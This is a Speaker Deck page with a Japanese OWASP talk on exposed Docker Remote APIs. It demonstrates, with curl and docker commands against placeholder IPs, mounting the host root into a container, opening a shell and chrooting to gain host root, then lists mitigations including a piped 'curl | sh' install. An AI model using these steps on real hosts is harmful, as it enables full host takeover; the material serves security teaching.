Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Docker 危険のキ!/Docker the beginning of danger
Search
yasu
February 10, 2020
Technology
270
1
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Docker 危険のキ!/Docker the beginning of danger
OWASP Sendai Day 2020 での発表資料です。
yasu
February 10, 2020
More Decks by yasu
See All by yasu
Dockerとは
yasu8899
1
910
ML基本のキの一筆目
yasu8899
0
92
はじめての文字認識_改
yasu8899
1
520
rancheros-in-raspberrypi
yasu8899
2
490
5分で説明する RancherOS+Rancher2インストール / rancherosinstall
yasu8899
0
730
Other Decks in Technology
See All in Technology
「どのログを見ればいい?」 から始めた サーバーレス障害解析
y_waka1
1
150
C#未経験の僕がAIに読めるコードを書かせるまで
maguroalternative
0
270
事業課題から技術的負債に向き合う
sansantech
PRO
2
2.3k
ボードゲームの遊び相手をFoundation Modelsで作る / iOSDC Japan 2026
genda
0
170
beyond jj: config & tools ecosystem
indirect
0
6k
Why Agent Cost Needs Observability
nttcom
0
150
AWS DevOps Agent スキルをつかいこなそう / Master AWS DevOps Agent Skills
kinunori
1
410
Lambda MicroVMsは常駐サーバーの代わりに なるか? Kiro Crew を動かして検証してみた / Kiro Crew on Lambda MicroVMs
k_adachi_01
2
190
AIエージェントの自己改善をどう設計するか / How to Design Self-Improvement for AI Agents
22mi
27
17k
.NET WebAssemblyで実現するクライアントサイドAI推論:NuGetからViteまで、2つのエコシステムを繋ぐビルド戦略
yamachu
1
730
Kiro Meetup #8 Kiro アップデート (2026/3/21〜2026/9/24)
katzueno
1
200
Oracle Cloud Infrastructure(OCI):Onboarding Session(はじめてのOCI/Oracle Supportご利⽤ガイド)
oracle4engineer
PRO
2
20k
Featured
See All Featured
We Are The Robots
honzajavorek
0
380
How to Think Like a Performance Engineer
csswizardry
28
2.8k
Darren the Foodie - Storyboard
khoart
PRO
4
3.9k
世界の人気アプリ100個を分析して見えたペイウォール設計の心得
akihiro_kokubo
PRO
74
42k
What Being in a Rock Band Can Teach Us About Real World SEO
427marketing
0
1.1k
How STYLIGHT went responsive
nonsquared
100
6.3k
Making the Leap to Tech Lead
cromwellryan
135
10k
Fantastic passwords and where to find them - at NoRuKo
philnash
52
3.9k
Breaking role norms: Why Content Design is so much more than writing copy - Taylor Woolridge
uxyall
1
420
From π to Pie charts
rasagy
1
380
Heart Work Chapter 1 - Part 1
lfama
PRO
10
36k
Technical Leadership for Architectural Decision Making
baasie
3
580
Transcript
Docker 危険のキ! OWASP Sendai Day 2020 令和 2年 2月 8日
oda@sendai
OS: CentOS Linux release 8.0.1905 (Core) Client: Docker: 19.03.5 Server:
Docker Engine: 18.09.1 上記のバージョンで確認しています。 環境
H オプション 知っていますか?
Dockerは、デーモンとクライアントに分かれている。 ・通常実行するdockerコマンドは、クライアントです。 ・dockerコマンドから指示を受け取って、 実際にコンテナ操作を行うのがdockerデーモンです。 ・指示はDocker Remote APIで行っている。 デーモンとクライアント
・dockerデーモンに指定した場合、tcpでlisten出来るようになる。 ・dockerクライアントに指定した場合、 リモートのdockerデーモンにアクセス出来るようになる。 Hオプション
修正するファイル(docker01) /etc/systemd/system/multi-user.target.wants/docker.service ExecStart=/usr/bin/dockerd -H fd:// ↓ ExecStart=/usr/bin/dockerd -H fd:// -H
tcp://0.0.0.0:2375 デーモンの再起動(docker01) $ sudo systemctl daemon-reload $ sudo systemctl restart docker 実際の設定
プロセスの確認(docker01) $ ps ax | grep docker XXXX ? Ssl
0:00 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 listenされていることの確認(docker01) $ sudo ss -tnlp LISTEN 0 128 *:2375 *:* users:(("dockerd",pid=1080,fd=3)) 実際の設定
コンテナの確認(docker01) $ sudo docker container run -d --name nginx01 nginx
852116acb341aa5・・・ $ sudo docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 35 seconds ago Up 33 seconds 80/tcp nginx01 コンテナの起動
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container ls CONTAINER ID IMAGE
COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 2 minutes ago Up 2 minutes 80/tcp nginx01 ※この環境は、VirtualBox上で2台の仮想マシン(CentOS)を 起動しています。 XXX.XXX.XXX.XXX は、VirtualBoxを動かしている ホストのIPアドレスになります。 リモートしてみる
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 image ls REPOSITORY TAG IMAGE
ID CREATED SIZE nginx latest 2073e0bcb60e 5 days ago 127MB hello-world latest fce289e99eb9 13 months ago 1.84kB リモートしてみる
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json [{"Id":"852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf 708","Names":["/nginx01"],"Image":"nginx","ImageID":"sha256:2073e0bcb60ee98 548d313ead5eacbfe16d9054f8800a32bedd859922a99a6e1","Command":"ngin x -g 'daemon
off;'","Created":1581089209,"Ports":[{"PrivatePort":80,"Type":"tcp"}],"Labels":{"ma intainer":"NGINX Docker Maintainers ・・・ dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json | python -m json.tool [ {
"Id": "852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf708", "Names": [ "/nginx01" ], "Image": "nginx" dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/images/json | python -m json.tool [ {
"Containers": -1, ・・・ "RepoTags": [ "nginx:latest" ], ・・・ "RepoTags": [ "hello-world:latest" ], dockerコマンドが使えるということは
露出したDocker APIを介してコンテナに侵入する ボット型マルウェア「AESDDoS」について解説 投稿日:2019年7月9日 https://blog.trendmicro.co.jp/archives/21756 もうすでに ~ 一部抜粋 ~ ▪今回のAESDDoSによる攻撃について
今回確認された新しい攻撃では、攻撃者はまずTCP SYNパケットを、Dockerデーモ ンとの通信に使用されるデフォルトポートである2375に送信することによって、特定 のIP範囲を外部からスキャンします。
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Image":
"nginx", "Mounts": [{"Source": "/", "Target": "/mnt", "Type": "bind"}]}' \ http://XXX.XXX.XXX.XXX:2375/containers/create {"Id":"123456789012345678901234567890","Warnings":null} ヤヴァいやつ1
$ curl -X POST -H "Content-Type: application/json" \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/start
実行の表示なし ヤヴァいやつ2
$ curl -X POST -H "Content-Type: application/json" \ -d '{"AttachStdin":
true, "AttachStdout": true, "Tty": true, "Cmd": [ "sh" ]}' \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/exec {"Id":"ABCDEFGABCDEFGABCDEFG"} ヤヴァいやつ3
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Detach":
false, "Tty": true}' \ http://XXX.XXX.XXX.XXX/exec/ABCDEFGABCDEFGABCDEFG/start ※本当はここでコンテナ内のshellに繋ぎたかった。 パラメータが足りないのか、何も返ってきません。 Ctrl + c で止めます。 ヤヴァいやつ4
先ほど出来なかったので、素直にdockerコマンドで。 $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container exec -it 123456789012345678901234567890 sh
# (コンテナの中です。) # ヤヴァいやつ5
# chroot /mnt sh-4.4# bash [root@ba4e368ef83c /]# ヤヴァいやつ6 この場所は、ホストのディレクトリツリーです。
[root@ba4e368ef83c /]# ps ax | grep docker XXXX ? Ssl
0:06 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 dockerデーモンは、当然ホスト上のプロセス いろいろと確認
[root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker
container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx ・ ・ ・ いろいろと・・・
・FWやproxyを前面に立てる。 直接、APIをアクセスさせない。 対策
・TLS を有効にする 証明書を設定する。 APIにアクセスするときは、証明書で認証が必要。 Docker デーモンのソケットを守る http://docs.docker.jp/engine/articles/https.html#opensl-ca 対策
・リモート接続を使わない運用を考える。 なるべくssh でサーバにログインして、 unixドメインソケット接続する。 対策
・H オプションで指定できるIPは、 0.0.0.0 もしくは ホストのIPアドレスだけ。 誰もが接続可能で可能なので、非推奨です。 TIPC
dockerデーモンを非root権限で起動する。 Docker Ver 19.03 からの新機能。 Docker 19.03新機能 (root権限不要化、GPU対応強化、CLIプラグイン …) https://medium.com/nttlabs/docker-1903-5155754ff8ac
rootless docker
インストール手順 $ dnf install tar $ curl -fsSL https://get.docker.com/rootless |
sh $ echo 'export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock' >> ~/.bash_profile $ source ~/.bash_profile $ docker container run hello-world rootless docker
各コマンド・ファイルのパス ~/bin/docker ~/bin/dockerd ユーザ権限で動作する /var/run/user/1000/docker.sock ユーザ権限で動作する rootless docker
起動設定のファイル /home/user02/.config/systemd/user/docker.service 起動オプション ExecStart=/home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs ※実験的な機能かな?? rootless docker
起動コマンド $ systemctl start docker --user OS起動時に自動起動 $ systemctl enable
docker --user rootless docker
プロセスの確認 $ ps axu | grep docker user02 8525 0.0
1.2 109856 10480 ? Ssl 12:39 0:00 rootlesskit --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8532 0.0 0.9 109856 8136 ? Sl 12:39 0:00 /proc/self/exe --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8563 1.0 5.7 492804 48408 ? Sl 12:39 0:00 dockerd --experimental --storage-driver=vfs user02 8575 0.5 3.2 463220 26936 ? Ssl 12:39 0:00 containerd --config /run/user/1000/docker/containerd/containerd.toml --log-level info user02 8713 0.0 0.1 10284 1096 pts/0 R+ 12:40 0:00 grep --color=auto docker 全てユーザ権限!! rootless docker
rootless dockerで、ヤヴァいやつを試したかったのです が、 オプションを付けると起動しませんでした。 rootless docker
Docker 危険のキ! END